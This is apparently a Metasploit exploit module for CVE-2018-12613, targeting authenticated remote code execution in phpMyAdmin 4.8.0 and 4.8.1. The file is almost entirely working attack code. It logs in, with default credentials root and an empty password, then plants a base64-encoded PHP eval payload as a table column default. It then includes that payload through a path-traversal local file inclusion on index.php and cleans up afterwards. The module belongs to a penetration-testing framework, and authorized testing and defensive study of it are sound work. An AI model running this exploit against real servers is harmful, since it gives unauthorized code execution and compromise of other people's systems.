## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'phpMyAdmin Authenticated Remote Code Execution', 'Description' => %q{ phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code by application. The module has been tested with phpMyAdmin v4.8.1. }, 'Author' => [ 'ChaMd5', # Vulnerability discovery and PoC 'Henry Huang', # Vulnerability discovery and PoC 'Jacob Robles' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '104532' ], [ 'CVE', '2018-12613' ], [ 'CWE', '661' ], [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ], [ 'URL', 'https://www.secpulse.com/archives/72817.html' ], [ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ] ], 'Privileged' => false, 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic', {} ], [ 'Windows', {} ], [ 'Linux', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 19 2018')) register_options( [ OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']), OptString.new('PASSWORD', [ false, "Password to authenticate with", '']) ]) end def check begin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) rescue vprint_error("#{peer} - Unable to connect to server") return Exploit::CheckCode::Unknown end if res.nil? || res.code != 200 vprint_error("#{peer} - Unable to query /js/messages.php") return Exploit::CheckCode::Unknown end # v4.8.0 || 4.8.1 phpMyAdmin if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/ version = Gem::Version.new($1) vprint_status("#{peer} - phpMyAdmin version: #{version}") if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1') return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end return Exploit::CheckCode::Unknown end def query(uri, qstring, cookies, token) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'import.php'), 'cookie' => cookies, 'vars_post' => Hash[{ 'sql_query' => qstring, 'db' => '', 'table' => '', 'token' => token }.to_a.shuffle] }) end def lfi(uri, data_path, cookies, token) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), 'cookie' => cookies, 'encode_params' => false, 'vars_get' => { 'target' => "db_sql.php%253f#{'/..'*16}#{data_path}" } }) end def exploit unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target is not vulnerable') end uri = target_uri.path vprint_status("#{peer} - Grabbing CSRF token...") response = send_request_cgi({'uri' => uri}) if response.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token") elsif response.body !~ /token"\s*value="(.*?)"/ fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") end token = Rex::Text.html_decode($1) if target.name =~ /Automatic/ /\((?<srv>Win.*)?\)/ =~ response.headers['Server'] mytarget = srv.nil? ? 'Linux' : 'Windows' else mytarget = target.name end vprint_status("#{peer} - Identified #{mytarget} target") #Pull out the last two cookies cookies = response.get_cookies cookies = cookies.split[-2..-1].join(' ') vprint_status("#{peer} - Retrieved token #{token}") vprint_status("#{peer} - Retrieved cookies #{cookies}") vprint_status("#{peer} - Authenticating...") login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'cookie' => cookies, 'vars_post' => { 'token' => token, 'pma_username' => datastore['USERNAME'], 'pma_password' => datastore['PASSWORD'] } }) if login.nil? || login.code != 302 fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") end #Ignore the first cookie cookies = login.get_cookies cookies = cookies.split[1..-1].join(' ') vprint_status("#{peer} - Retrieved cookies #{cookies}") login_check = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'vars_get' => { 'token' => token }, 'cookie' => cookies }) if login_check.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") elsif login_check.body.include? 'Welcome to' fail_with(Failure::NoAccess, "#{peer} - Authentication failed") elsif login_check.body !~ /token"\s*value="(.*?)"/ fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") end token = Rex::Text.html_decode($1) vprint_status("#{peer} - Authentication successful") #Generating strings/payload database = rand_text_alpha_lower(5) table = rand_text_alpha_lower(5) column = rand_text_alpha_lower(5) col_val = "'<?php eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\")); ?>'" #Preparing sql queries dbsql = "CREATE DATABASE #{database};" tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});" dropsql = "DROP DATABASE #{database};" dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";' #Create database res = query(uri, dbsql, cookies, token) if res.nil? || res.code != 200 fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database") end #Create table and column res = query(uri, tablesql, cookies, token) if res.nil? || res.code != 200 fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table") end #Find datadir res = query(uri, dirsql, cookies, token) if res.nil? || res.code != 200 fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory") end unless res.body =~ /^<td data.*?>(.*)?</ fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory") end #Creating include path if mytarget == 'Windows' #Table file location data_path = $1.gsub(/\\/, '/') data_path = data_path.sub(/^.*?\//, '/') data_path << "#{database}/#{table}.frm" else #Session path location /phpMyAdmin=(?<session_name>.*?);/ =~ cookies data_path = "/var/lib/php/sessions/sess_#{session_name}" end res = lfi(uri, data_path, cookies, token) #Drop database res = query(uri, dropsql, cookies, token) if res.nil? || res.code != 200 print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.") end end end